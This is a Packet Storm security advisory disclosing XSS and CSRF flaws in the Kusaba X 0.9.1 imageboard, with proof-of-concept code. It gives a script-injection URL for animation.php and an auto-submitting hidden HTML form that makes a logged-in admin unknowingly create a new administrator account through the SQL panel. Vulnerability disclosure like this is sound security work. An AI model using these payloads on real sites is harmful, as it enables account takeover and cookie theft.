exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Kusaba X 0.9.1 Cross Site Request Forgery / Cross Site Scripting

Kusaba X 0.9.1 Cross Site Request Forgery / Cross Site Scripting
Posted Apr 29, 2011
Authored by Emilio Pinna

Kusaba X versions 0.9.1 and below suffers from a cross site scripting vulnerability and a cross site request forgery vulnerability that allows for arbitrary SQL statement execution.

tags | exploit, arbitrary, xss, csrf
SHA-256 | 64e2bd26377186de93fea5e171b4925473cc45a08142ff4fd3e932681827e225

Kusaba X 0.9.1 Cross Site Request Forgery / Cross Site Scripting

Change Mirror Download
#######################################################
# KusabaX XSS and CSRF Vulnerabilites #
#######################################################
# Product: KusabaX and various Futaba channels clone
# Vendor site: http://kusabax.cultnet.net/
# Affected versions: KusabaX <= 0.9.1
# Product description: an imageboard is a web application written in PHP used in sites
# like 4chan as an anonymous bullettin board based on image sharing.
# Author: Emilio Pinna - ncl 01 _at_ email _dot_ it
# Blog site: http://thissecting.wordpress.com
# Date: 27/04/2011

#######################################################
# Cross Site Scripting in 'animation.php' #
#######################################################
# Vulnerable page: animation.php
# Google dork: allinurl: animation.php board id

File "animation.php" suffer from XSS vulnerabilities in line 47:

#-----------------------------------------------------#
<param name="pch_file" value="<?php echo KU_BOARDSPATH . '/' . $_GET['board'] . '/src/' . $_GET['id'] . '.pch'; ?>">
#-----------------------------------------------------#

Attackers can exploit these weaknesses to execute arbitrary HTML and script code
in a user's browser session that visit resulting in a cookie stealing and bypass of admin
access controls.

#-----------------------------------------------------#
http://localhost/kusabax/animation.php?board=b&id=1"><script>alert('XSS')</script><"
#-----------------------------------------------------#




########################################################
# Arbitrary SQL statements execution through CSRF #
########################################################
# Vulnerable page: manage_page.php

The vulnerability permit to execute SQL commands through 'SQL query' section of Administrator Panel.
This flaw exists due to failure in the 'manage_page.php' script to verify the source of HTTP request
with anti CRSF tokens or referrer check. This bug flaw was reported in 2010 for older versions
(http://tinyurl.com/5wdrmy6), but never totally fixed. The following example adds an administrator
account with login 'new_admin' and password 'admin' encrypted with 'TMC' as salt.

#-----------------------------------------------------#
INSERT INTO staff VALUES (1331, 'new_admin', '6a9685fcb53b90f0ca9a1c72d7fa31d2', 'TMC', 1, NULL, 1303904817, 1303908333)
#-----------------------------------------------------#


The attacker must lure a logged user with Administrator privilege to a web page with malicious code similar to the
following PHP script.

#--------- File: manage_page_sql_crsf.html -----------#
<html>
<body>
<iframe style="width: 1px; height: 1px; visibility: hidden" name="hidden"></iframe>
<form method="post" name="sender" action="http://localhost/kusabax/manage_page.php?action=sql" target="hidden">
<input type="hidden" name="query" value="insert into staff values (1331, 'new_admin', '6a9685fcb53b90f0ca9a1c72d7fa31d2', 'TMC', 1, NULL, 1303904817, 1303908333)">
</form>
</body>
<script>document.sender.submit(); </script>
</html>
#-----------------------------------------------------#

# Disclosure:
# 27/04/2011 Reported to KusabaX developers and fixed immediatly with version 0.9.2.
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    14 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    19 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close